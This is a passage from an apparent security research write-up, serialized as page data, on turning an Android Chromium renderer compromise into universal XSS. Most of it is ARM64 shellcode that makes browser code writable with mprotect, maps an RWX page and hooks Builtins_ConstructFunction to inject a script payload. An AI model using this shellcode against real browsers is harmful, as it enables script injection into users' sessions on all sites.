1],{"type":29,"value":791},{"type":24,"tag":271,"props":146183,"children":146184},{"style":288},[146185],{"type":29,"value":1155},{"type":24,"tag":271,"props":146187,"children":146188},{"class":273,"line":455},[146189],{"type":24,"tag":271,"props":146190,"children":146191},{"style":288},[146192],{"type":29,"value":108775},{"type":24,"tag":25,"props":146194,"children":146195},{},[146196],{"type":29,"value":146197},"And this time, it works as expected:",{"type":24,"tag":25,"props":146199,"children":146200},{},[146201],{"type":24,"tag":74,"props":146202,"children":146205},{"alt":146203,"src":146204},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":24,"tag":85,"props":146207,"children":146209},{"id":146208},"achieving-universal-xss",[146210],{"type":29,"value":146211},"Achieving Universal XSS",{"type":24,"tag":25,"props":146213,"children":146214},{},[146215,146217,146223,146225,146232],{"type":29,"value":146216},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":24,"tag":32,"props":146218,"children":146221},{"href":146219,"rel":146220},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[36],[146222],{"type":29,"value":77119},{"type":29,"value":146224}," from Tencent Security and ",{"type":24,"tag":32,"props":146226,"children":146229},{"href":146227,"rel":146228},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[36],[146230],{"type":29,"value":146231},"research article",{"type":29,"value":146233}," from InterruptLabs.",{"type":24,"tag":25,"props":146235,"children":146236},{},[146237,146239,146246],{"type":29,"value":146238},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":24,"tag":32,"props":146240,"children":146243},{"href":146241,"rel":146242},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[36],[146244],{"type":29,"value":146245},"weaker version",{"type":29,"value":146247}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":24,"tag":25,"props":146249,"children":146250},{},[146251,146253,146259],{"type":29,"value":146252},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":24,"tag":135,"props":146254,"children":146256},{"className":146255},[],[146257],{"type":29,"value":146258},"Builtins_ConstructFunction",{"type":29,"value":146260},", making it a natural target.",{"type":24,"tag":25,"props":146262,"children":146263},{},[146264,146266,146271],{"type":29,"value":146265},"Our goal is for ",{"type":24,"tag":135,"props":146267,"children":146269},{"className":146268},[],[146270],{"type":29,"value":146258},{"type":29,"value":146272}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":24,"tag":97,"props":146274,"children":146275},{},[146276,146281,146291],{"type":24,"tag":101,"props":146277,"children":146278},{},[146279],{"type":29,"value":146280},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":24,"tag":101,"props":146282,"children":146283},{},[146284,146286],{"type":29,"value":146285},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":24,"tag":135,"props":146287,"children":146289},{"className":146288},[],[146290],{"type":29,"value":146258},{"type":24,"tag":101,"props":146292,"children":146293},{},[146294,146296,146301],{"type":29,"value":146295},"The mmap-ed shellcode then returns to the beginning of ",{"type":24,"tag":135,"props":146297,"children":146299},{"className":146298},[],[146300],{"type":29,"value":146258},{"type":29,"value":146302},", which now proceeds normally",{"type":24,"tag":25,"props":146304,"children":146305},{},[146306],{"type":29,"value":146307},"The ARM64 shellcode implementing this looks as follows:",{"type":24,"tag":261,"props":146309,"children":146313},{"code":146310,"language":146311,"meta":7,"className":146312,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[146314],{"type":24,"tag":135,"props":146315,"children":146316},{"__ignoreMap":7},[146317,146325,146333,146341,146349,146356,146364,146372,146380,146388,146395,146403,146411,146419,146427,146435,146442,146450,146458,146466,146474,146482,146490,146497,146505,146512,146520,146528,146536,146543,146551,146559,146567,146575,146582,146589,146596,146603,146611,146619,146627,146634,146642,146650,146657,146665,146673,146681,146688,146696,146704,146712,146720,146727,146734,146742],{"type":24,"tag":271,"props":146318,"children":146319},{"class":273,"line":274},[146320],{"type":24,"tag":271,"props":146321,"children":146322},{},[146323],{"type":29,"value":146324},"// get return addr to x0\n",{"type":24,"tag":271,"props":146326,"children":146327},{"class":273,"line":284},[146328],{"type":24,"tag":271,"props":146329,"children":146330},{},[146331],{"type":29,"value":146332},"ldr x0, [sp, #0x18]\n",{"type":24,"tag":271,"props":146334,"children":146335},{"class":273,"line":294},[146336],{"type":24,"tag":271,"props":146337,"children":146338},{},[146339],{"type":29,"value":146340},"// strip pac signature from return address\n",{"type":24,"tag":271,"props":146342,"children":146343},{"class":273,"line":303},[146344],{"type":24,"tag":271,"props":146345,"children":146346},{},[146347],{"type":29,"value":146348},".arch armv8.3-a; xpaci x0\n",{"type":24,"tag":271,"props":146350,"children":146351},{"class":273,"line":312},[146352],{"type":24,"tag":271,"props":146353,"children":146354},{"emptyLinePlaceholder":16},[146355],{"type":29,"value":327},{"type":24,"tag":271,"props":146357,"children":146358},{"class":273,"line":321},[146359],{"type":24,"tag":271,"props":146360,"children":146361},{},[146362],{"type":29,"value":146363},"// store x5 = Builtins_ConstructFunction\n",{"type":24,"tag":271,"props":146365,"children":146366},{"class":273,"line":330},[146367],{"type":24,"tag":271,"props":146368,"children":146369},{},[146370],{"type":29,"value":146371},"movz x1, #0x610c\n",{"type":24,"tag":271,"props":146373,"children":146374},{"class":273,"line":339},[146375],{"type":24,"tag":271,"props":146376,"children":146377},{},[146378],{"type":29,"value":146379},"sub x0, x0, x1\n",{"type":24,"tag":271,"props":146381,"children":146382},{"class":273,"line":347},[146383],{"type":24,"tag":271,"props":146384,"children":146385},{},[146386],{"type":29,"value":146387},"mov x5, x0\n",{"type":24,"tag":271,"props":146389,"children":146390},{"class":273,"line":356},[146391],{"type":24,"tag":271,"props":146392,"children":146393},{"emptyLinePlaceholder":16},[146394],{"type":29,"value":327},{"type":24,"tag":271,"props":146396,"children":146397},{"class":273,"line":365},[146398],{"type":24,"tag":271,"props":146399,"children":146400},{},[146401],{"type":29,"value":146402},"// store x4 = page aligned ConstructFunction\n",{"type":24,"tag":271,"props":146404,"children":146405},{"class":273,"line":374},[146406],{"type":24,"tag":271,"props":146407,"children":146408},{},[146409],{"type":29,"value":146410},"movz x1, #0xf000\n",{"type":24,"tag":271,"props":146412,"children":146413},{"class":273,"line":384},[146414],{"type":24,"tag":271,"props":146415,"children":146416},{},[146417],{"type":29,"value":146418},"movk x1, #0xffff, lsl #16\n",{"type":24,"tag":271,"props":146420,"children":146421},{"class":273,"line":393},[146422],{"type":24,"tag":271,"props":146423,"children":146424},{},[146425],{"type":29,"value":146426},"movk x1, #0xffff, lsl #32\n",{"type":24,"tag":271,"props":146428,"children":146429},{"class":273,"line":402},[146430],{"type":24,"tag":271,"props":146431,"children":146432},{},[146433],{"type":29,"value":146434},"and x4, x5, x1\n",{"type":24,"tag":271,"props":146436,"children":146437},{"class":273,"line":411},[146438],{"type":24,"tag":271,"props":146439,"children":146440},{"emptyLinePlaceholder":16},[146441],{"type":29,"value":327},{"type":24,"tag":271,"props":146443,"children":146444},{"class":273,"line":420},[146445],{"type":24,"tag":271,"props":146446,"children":146447},{},[146448],{"type":29,"value":146449},"// mprotect page aligned ConstructFunction RWX\n",{"type":24,"tag":271,"props":146451,"children":146452},{"class":273,"line":429},[146453],{"type":24,"tag":271,"props":146454,"children":146455},{},[146456],{"type":29,"value":146457},"mov x0, x4\n",{"type":24,"tag":271,"props":146459,"children":146460},{"class":273,"line":438},[146461],{"type":24,"tag":271,"props":146462,"children":146463},{},[146464],{"type":29,"value":146465},"mov x1, #0x2000\n",{"type":24,"tag":271,"props":146467,"children":146468},{"class":273,"line":447},[146469],{"type":24,"tag":271,"props":146470,"children":146471},{},[146472],{"type":29,"value":146473},"mov x2, #0x7\n",{"type":24,"tag":271,"props":146475,"children":146476},{"class":273,"line":455},[146477],{"type":24,"tag":271,"props":146478,"children":146479},{},[146480],{"type":29,"value":146481},"mov x8, #226\n",{"type":24,"tag":271,"props":146483,"children":146484},{"class":273,"line":464},[146485],{"type":24,"tag":271,"props":146486,"children":146487},{},[146488],{"type":29,"value":146489},"svc #0\n",{"type":24,"tag":271,"props":146491,"children":146492},{"class":273,"line":473},[146493],{"type":24,"tag":271,"props":146494,"children":146495},{"emptyLinePlaceholder":16},[146496],{"type":29,"value":327},{"type":24,"tag":271,"props":146498,"children":146499},{"class":273,"line":483},[146500],{"type":24,"tag":271,"props":146501,"children":146502},{},[146503],{"type":29,"value":146504},"mov x6, x5\n",{"type":24,"tag":271,"props":146506,"children":146507},{"class":273,"line":491},[146508],{"type":24,"tag":271,"props":146509,"children":146510},{"emptyLinePlaceholder":16},[146511],{"type":29,"value":327},{"type":24,"tag":271,"props":146513,"children":146514},{"class":273,"line":499},[146515],{"type":24,"tag":271,"props":146516,"children":146517},{},[146518],{"type":29,"value":146519},"// mmap RWX for jump dest (uxss_sc)\n",{"type":24,"tag":271,"props":146521,"children":146522},{"class":273,"line":3188},[146523],{"type":24,"tag":271,"props":146524,"children":146525},{},[146526],{"type":29,"value":146527},"mov x0, #0\n",{"type":24,"tag":271,"props":146529,"children":146530},{"class":273,"line":3247},[146531],{"type":24,"tag":271,"props":146532,"children":146533},{},[146534],{"type":29,"value":146535},"mov x1, #0x1000\n",{"type":24,"tag":271,"props":146537,"children":146538},{"class":273,"line":3255},[146539],{"type":24,"tag":271,"props":146540,"children":146541},{},[146542],{"type":29,"value":146473},{"type":24,"tag":271,"props":146544,"children":146545},{"class":273,"line":3263},[146546],{"type":24,"tag":271,"props":146547,"children":146548},{},[146549],{"type":29,"value":146550},"mov x3, #34\n",{"type":24,"tag":271,"props":146552,"children":146553},{"class":273,"line":3293},[146554],{"type":24,"tag":271,"props":146555,"children":146556},{},[146557],{"type":29,"value":146558},"mov x4, #-1\n",{"type":24,"tag":271,"props":146560,"children":146561},{"class":273,"line":3301},[146562],{"type":24,"tag":271,"props":146563,"children":146564},{},[146565],{"type":29,"value":146566},"mov x5, #0\n",{"type":24,"tag":271,"props":146568,"children":146569},{"class":273,"line":3683},[146570],{"type":24,"tag":271,"props":146571,"children":146572},{},[146573],{"type":29,"value":146574},"mov x8, #222\n",{"type":24,"tag":271,"props":146576,"children":146577},{"class":273,"line":4486},[146578],{"type":24,"tag":271,"props":146579,"children":146580},{},[146581],{"type":29,"value":146489},{"type":24,"tag":271,"props":146583,"children":146584},{"class":273,"line":4509},[146585],{"type":24,"tag":271,"props":146586,"children":146587},{"emptyLinePlaceholder":16},[146588],{"type":29,"value":327},{"type":24,"tag":271,"props":146590,"children":146591},{"class":273,"line":4545},[146592],{"type":24,"tag":271,"props":146593,"children":146594},{},[146595],{"type":29,"value":146387},{"type":24,"tag":271,"props":146597,"children":146598},{"class":273,"line":4591},[146599],{"type":24,"tag":271,"props":146600,"children":146601},{"emptyLinePlaceholder":16},[146602],{"type":29,"value":327},{"type":24,"tag":271,"props":146604,"children":146605},{"class":273,"line":4628},[146606],{"type":24,"tag":271,"props":146607,"children":146608},{},[146609],{"type":29,"value":146610},"// at this point:\n",{"type":24,"tag":271,"props":146612,"children":146613},{"class":273,"line":4658},[146614],{"type":24,"tag":271,"props":146615,"children":146616},{},[146617],{"type":29,"value":146618},"// x6 = Builtins_ConstructFunction\n",{"type":24,"tag":271,"props":146620,"children":146621},{"class":273,"line":4666},[146622],{"type":24,"tag":271,"props":146623,"children":146624},{},[146625],{"type":29,"value":146626},"// x5 = mmap page for uxss_sc\n",{"type":24,"tag":271,"props":146628,"children":146629},{"class":273,"line":4674},[146630],{"type":24,"tag":271,"props":146631,"children":146632},{"emptyLinePlaceholder":16},[146633],{"type":29,"value":327},{"type":24,"tag":271,"props":146635,"children":146636},{"class":273,"line":4683},[146637],{"type":24,"tag":271,"props":146638,"children":146639},{},[146640],{"type":29,"value":146641},"// write uxss_sc to mmaped rwx page\n",{"type":24,"tag":271,"props":146643,"children":146644},{"class":273,"line":4691},[146645],{"type":24,"tag":271,"props":146646,"children":146647},{},[146648],{"type":29,"value":146649},"{write_sc(uxss_sc, \"x5\")}\n",{"type":24,"tag":271,"props":146651,"children":146652},{"class":273,"line":4708},[146653],{"type":24,"tag":271,"props":146654,"children":146655},{"emptyLinePlaceholder":16},[146656],{"type":29,"value":327},{"type":24,"tag":271,"props":146658,"children":146659},{"class":273,"line":4716},[146660],{"type":24,"tag":271,"props":146661,"children":146662},{},[146663],{"type":29,"value":146664},"// wipe from cache\n",{"type":24,"tag":271,"props":146666,"children":146667},{"class":273,"line":10423},[146668],{"type":24,"tag":271,"props":146669,"children":146670},{},[146671],{"type":29,"value":146672},"mov x0, x5\n",{"type":24,"tag":271,"props":146674,"children":146675},{"class":273,"line":10431},[146676],{"type":24,"tag":271,"props":146677,"children":146678},{},[146679],{"type":29,"value":146680},"{WIPE_CACHE}\n",{"type":24,"tag":271,"props":146682,"children":146683},{"class":273,"line":10439},[146684],{"type":24,"tag":271,"props":146685,"children":146686},{"emptyLinePlaceholder":16},[146687],{"type":29,"value":327},{"type":24,"tag":271,"props":146689,"children":146690},{"class":273,"line":10447},[146691],{"type":24,"tag":271,"props":146692,"children":146693},{},[146694],{"type":29,"value":146695},"// patch Builtins_ConstructFunction\n",{"type":24,"tag":271,"props":146697,"children":146698},{"class":273,"line":10468},[146699],{"type":24,"tag":271,"props":146700,"children":146701},{},[146702],{"type":29,"value":146703},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":24,"tag":271,"props":146705,"children":146706},{"class":273,"line":39951},[146707],{"type":24,"tag":271,"props":146708,"children":146709},{},[146710],{"type":29,"value":146711},"// and add a pointer to uxss_sc just above new instructions\n",{"type":24,"tag":271,"props":146713,"children":146714},{"class":273,"line":39972},[146715],{"type":24,"tag":271,"props":146716,"children":146717},{},[146718],{"type":29,"value":146719},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":24,"tag":271,"props":146721,"children":146722},{"class":273,"line":87741},[146723],{"type":24,"tag":271,"props":146724,"children":146725},{"emptyLinePlaceholder":16},[146726],{"type":29,"value":327},{"type":24,"tag":271,"props":146728,"children":146729},{"class":273,"line":87754},[146730],{"type":24,"tag":271,"props":146731,"children":146732},{},[146733],{"type":29,"value":146664},{"type":24,"tag":271,"props":146735,"children":146736},{"class":273,"line":87762},[146737],{"type":24,"tag":271,"props":146738,"children":146739},{},[146740],{"type":29,"value":146741},"mov x0, x6\n",{"type":24,"tag":271,"props":146743,"children":146744},{"class":273,"line":87770},[146745],{"type":24,"tag":271,"props":146746,"children":146747},{},[146748],{"type":29,"value":146680},{"type":24,"tag":25,"props":146750,"children":146751},{},[146752,146754,146760,146762,146767,146769,146775],{"type":29,"value":146753},"In the snippet above, ",{"type":24,"tag":135,"props":146755,"children":146757},{"className":146756},[],[146758],{"type":29,"value":146759},"new_compile_instrs",{"type":29,"value":146761}," refers to the instructions written to the beginning of ",{"type":24,"tag":135,"props":146763,"children":146765},{"className":146764},[],[146766],{"type":29,"value":146258},{"type":29,"value":146768}," that invoke the ",{"type":24,"tag":135,"props":146770,"children":146772},{"className":146771},[],[146773],{"type":29,"value":146774},"uxss_sc",{"type":29,"value":146776}," mmap-ed shellcode:",{"type":24,"tag":261,"props":146778,"children":146780},{"code":146779,"language":146311,"meta":7,"className":146312,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[146781],{"type":24,"tag":135,"props":146782,"children":146783},{"__ignoreMap":7},[146784,146792,146799,146807,146815,146822,146830,146838,146845,146853,146861,146868,146876],{"type":24,"tag":271,"props":146785,"children":146786},{"class":273,"line":274},[146787],{"type":24,"tag":271,"props":146788,"children":146789},{},[146790],{"type":29,"value":146791},"bti c\n",{"type":24,"tag":271,"props":146793,"children":146794},{"class":273,"line":284},[146795],{"type":24,"tag":271,"props":146796,"children":146797},{"emptyLinePlaceholder":16},[146798],{"type":29,"value":327},{"type":24,"tag":271,"props":146800,"children":146801},{"class":273,"line":294},[146802],{"type":24,"tag":271,"props":146803,"children":146804},{},[146805],{"type":29,"value":146806},"// store registers that will be overwritten\n",{"type":24,"tag":271,"props":146808,"children":146809},{"class":273,"line":303},[146810],{"type":24,"tag":271,"props":146811,"children":146812},{},[146813],{"type":29,"value":146814},"stp x15, lr, [sp, #-16]!\n",{"type":24,"tag":271,"props":146816,"children":146817},{"class":273,"line":312},[146818],{"type":24,"tag":271,"props":146819,"children":146820},{"emptyLinePlaceholder":16},[146821],{"type":29,"value":327},{"type":24,"tag":271,"props":146823,"children":146824},{"class":273,"line":321},[146825],{"type":24,"tag":271,"props":146826,"children":146827},{},[146828],{"type":29,"value":146829},"// get current rip into x15\n",{"type":24,"tag":271,"props":146831,"children":146832},{"class":273,"line":330},[146833],{"type":24,"tag":271,"props":146834,"children":146835},{},[146836],{"type":29,"value":146837},"adr x15, .\n",{"type":24,"tag":271,"props":146839,"children":146840},{"class":273,"line":339},[146841],{"type":24,"tag":271,"props":146842,"children":146843},{"emptyLinePlaceholder":16},[146844],{"type":29,"value":327},{"type":24,"tag":271,"props":146846,"children":146847},{"class":273,"line":347},[146848],{"type":24,"tag":271,"props":146849,"children":146850},{},[146851],{"type":29,"value":146852},"// load the uxss_sc pointer saved just above new instructions\n",{"type":24,"tag":271,"props":146854,"children":146855},{"class":273,"line":356},[146856],{"type":24,"tag":271,"props":146857,"children":146858},{},[146859],{"type":29,"value":146860},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":24,"tag":271,"props":146862,"children":146863},{"class":273,"line":365},[146864],{"type":24,"tag":271,"props":146865,"children":146866},{"emptyLinePlaceholder":16},[146867],{"type":29,"value":327},{"type":24,"tag":271,"props":146869,"children":146870},{"class":273,"line":374},[146871],{"type":24,"tag":271,"props":146872,"children":146873},{},[146874],{"type":29,"value":146875},"// jump to uxss_sc\n",{"type":24,"tag":271,"props":146877,"children":146878},{"class":273,"line":384},[146879],{"type":24,"tag":271,"props":146880,"children":146881},{},[146882],{"type":29,"value":146883},"blr x15\n",{"type":24,"tag":25,"props":146885,"children":146886},{},[146887,146892,146894,146899],{"type":24,"tag":135,"props":146888,"children":146890},{"className":146889},[],[146891],{"type":29,"value":146774},{"type":29,"value":146893}," is the mmap-ed shellcode invoked by the patched ",{"type":24,"tag":135,"props":146895,"children":146897},{"className":146896},[],[146898],{"type":29,"value":146258},{"type":29,"value":146900}," to execute our XSS payload. Its prologue looks like this:",{"type":24,"tag":261,"props":146902,"children":146904},{"code":146903,"language":146311,"meta":7,"className":146312,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[146905],{"type":24,"tag":135,"props":146906,"children":146907},{"__ignoreMap":7},[146908,146915,146922,146930,146938,146946,146954,146962,146970,146978,146986,146994,147002,147010,147018,147026,147034,147042,147050],{"type":24,"tag":271,"props":146909,"children":146910},{"class":273,"line":274},[146911],{"type":24,"tag":271,"props":146912,"children":146913},{},[146914],{"type":29,"value":146791},{"type":24,"tag":271,"props":146916,"children":146917},{"class":273,"line":284},[146918],{"type":24,"tag":271,"props":146919,"children":146920},{"emptyLinePlaceholder":16},[146921],{"type":29,"value":327},{"type":24,"tag":271,"props":146923,"children":146924},{"class":273,"line":294},[146925],{"type":24,"tag":271,"props":146926,"children":146927},{},[146928],{"type":29,"value":146929},"// Save full register context\n",{"type":24,"tag":271,"props":146931,"children":146932},{"class":273,"line":303},[146933],{"type":24,"tag":271,"props":146934,"children":146935},{},[146936],{"type":29,"value":146937},"stp x0, x1, [sp, #-16]!\n",{"type":24,"tag":271,"props":146939,"children":146940},{"class":273,"line":312},[146941],{"type":24,"tag":271,"props":146942,"children":146943},{},[146944],{"type":29,"value":146945},"stp x2, x3, [sp, #-16]!\n",{"type":24,"tag":271,"props":146947,"children":146948},{"class":273,"line":321},[146949],{"type":24,"tag":271,"props":146950,"children":146951},{},[146952],{"type":29,"value":146953},"stp x4, x5, [sp, #-16]!\n",{"type":24,"tag":271,"props":146955,"children":146956},{"class":273,"line":330},[146957],{"type":24,"tag":271,"props":146958,"children":146959},{},[146960],{"type":29,"value":146961},"stp x6, x7, [sp, #-16]!\n",{"type":24,"tag":271,"props":146963,"children":146964},{"class":273,"line":339},[146965],{"type":24,"tag":271,"props":146966,"children":146967},{},[146968],{"type":29,"value":146969},"stp x8, x9, [sp, #-16]!\n",{"type":24,"tag":271,"props":146971,"children":146972},{"class":273,"line":347},[146973],{"type":24,"tag":271,"props":146974,"children":146975},{},[146976],{"type":29,"value":146977},"stp x10, x11, [sp, #-16]!\n",{"type":24,"tag":271,"props":146979,"children":146980},{"class":273,"line":356},[146981],{"type":24,"tag":271,"props":146982,"children":146983},{},[146984],{"type":29,"value":146985},"stp x12, x13, [sp, #-16]!\n",{"type":24,"tag":271,"props":146987,"children":146988},{"class":273,"line":365},[146989],{"type":24,"tag":271,"props":146990,"children":146991},{},[146992],{"type":29,"value":146993},"stp x14, x15, [sp, #-16]!\n",{"type":24,"tag":271,"props":146995,"children":146996},{"class":273,"line":374},[146997],{"type":24,"tag":271,"props":146998,"children":146999},{},[147000],{"type":29,"value":147001},"stp x16, x17, [sp, #-16]!\n",{"type":24,"tag":271,"props":147003,"children":147004},{"class":273,"line":384},[147005],{"type":24,"tag":271,"props":147006,"children":147007},{},[147008],{"type":29,"value":147009},"stp x18, x19, [sp, #-16]!\n",{"type":24,"tag":271,"props":147011,"children":147012},{"class":273,"line":393},[147013],{"type":24,"tag":271,"props":147014,"children":147015},{},[147016],{"type":29,"value":147017},"stp x20, x21, [sp, #-16]!\n",{"type":24,"tag":271,"props":147019,"children":147020},{"class":273,"line":402},[147021],{"type":24,"tag":271,"props":147022,"children":147023},{},[147024],{"type":29,"value":147025},"stp x22, x23, [sp, #-16]!\n",{"type":24,"tag":271,"props":147027,"children":147028},{"class":273,"line":411},[147029],{"type":24,"tag":271,"props":147030,"children":147031},{},[147032],{"type":29,"value":147033},"stp x24, x25, [sp, #-16]!\n",{"type":24,"tag":271,"props":147035,"children":147036},{"class":273,"line":420},[147037],{"type":24,"tag":271,"props":147038,"children":147039},{},[147040],{"type":29,"value":147041},"stp x26, x27, [sp, #-16]!\n",{"type":24,"tag":271,"props":147043,"children":147044},{"class":273,"line":429},[147045],{"type":24,"tag":271,"props":147046,"children":147047},{},[147048],{"type":29,"value":147049},"stp x28, x29, [sp, #-16]!\n",{"type":24,"tag":271,"props":147051,"children":147052},{"class":273,"line":438},[147053],{"type":24,"tag":271,"props":147054,"children":147055},{},[147056],{"type":29,"value":147057},"str lr, [sp, #-16]!\n",{"type":24,"tag":25,"props":147059,"children":147060},{},[147061],{"type":29,"value":147062},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":24,"tag":25,"props":147064,"children":147065},{},[147066,147068,147073],{"type":29,"value":147067},"The epilogue restores all saved registers, restores the original instructions in ",{"type":24,"tag":135,"props":147069,"children":147071},{"className":147070},[],[147072],{"type":29,"value":146258},{"type":29,"value":147074},", and then returns execution to its beginning:",{"type":24,"tag":261,"props":147076,"children":147078},{"code":147077,"language":146311,"meta":7,"className":146312,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[147079],{"type":24,"tag":135,"props":147080,"children":147081},{"__ignoreMap":7},[147082,147090,147098,147106,147114,147122,147129,147136,147144,147151,147158,147166,147174,147182,147190,147198,147206,147214,147222,147230,147238,147246,147254,147262,147270,147278,147286,147293,147301,147309,147317,147325,147333,147340,147348,147356,147363],{"type":24,"tag":271,"props":147083,"children":147084},{"class":273,"line":274},[147085],{"type":24,"tag":271,"props":147086,"children":147087},{},[147088],{"type":29,"value":147089},"// restore original instructions of Builtins_ConstructFunction\n",{"type":24,"tag":271,"props":147091,"children":147092},{"class":273,"line":284},[147093],{"type":24,"tag":271,"props":147094,"children":147095},{},[147096],{"type":29,"value":147097},"ldr lr, [sp], #16\n",{"type":24,"tag":271,"props":147099,"children":147100},{"class":273,"line":294},[147101],{"type":24,"tag":271,"props":147102,"children":147103},{},[147104],{"type":29,"value":147105},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":24,"tag":271,"props":147107,"children":147108},{"class":273,"line":303},[147109],{"type":24,"tag":271,"props":147110,"children":147111},{},[147112],{"type":29,"value":147113},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":24,"tag":271,"props":147115,"children":147116},{"class":273,"line":312},[147117],{"type":24,"tag":271,"props":147118,"children":147119},{},[147120],{"type":29,"value":147121},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":24,"tag":271,"props":147123,"children":147124},{"class":273,"line":321},[147125],{"type":24,"tag":271,"props":147126,"children":147127},{"emptyLinePlaceholder":16},[147128],{"type":29,"value":327},{"type":24,"tag":271,"props":147130,"children":147131},{"class":273,"line":330},[147132],{"type":24,"tag":271,"props":147133,"children":147134},{},[147135],{"type":29,"value":146664},{"type":24,"tag":271,"props":147137,"children":147138},{"class":273,"line":339},[147139],{"type":24,"tag":271,"props":147140,"children":147141},{},[147142],{"type":29,"value":147143},"mov x0, lr\n",{"type":24,"tag":271,"props":147145,"children":147146},{"class":273,"line":347},[147147],{"type":24,"tag":271,"props":147148,"children":147149},{},[147150],{"type":29,"value":146680},{"type":24,"tag":271,"props":147152,"children":147153},{"class":273,"line":356},[147154],{"type":24,"tag":271,"props":147155,"children":147156},{"emptyLinePlaceholder":16},[147157],{"type":29,"value":327},{"type":24,"tag":271,"props":147159,"children":147160},{"class":273,"line":365},[147161],{"type":24,"tag":271,"props":147162,"children":147163},{},[147164],{"type":29,"value":147165},"// restore original registers\n",{"type":24,"tag":271,"props":147167,"children":147168},{"class":273,"line":374},[147169],{"type":24,"tag":271,"props":147170,"children":147171},{},[147172],{"type":29,"value":147173},"ldp x28, x29, [sp], #16\n",{"type":24,"tag":271,"props":147175,"children":147176},{"class":273,"line":384},[147177],{"type":24,"tag":271,"props":147178,"children":147179},{},[147180],{"type":29,"value":147181},"ldp x26, x27, [sp], #16\n",{"type":24,"tag":271,"props":147183,"children":147184},{"class":273,"line":393},[147185],{"type":24,"tag":271,"props":147186,"children":147187},{},[147188],{"type":29,"value":147189},"ldp x24, x25, [sp], #16\n",{"type":24,"tag":271,"props":147191,"children":147192},{"class":273,"line":402},[147193],{"type":24,"tag":271,"props":147194,"children":147195},{},[147196],{"type":29,"value":147197},"ldp x22, x23, [sp], 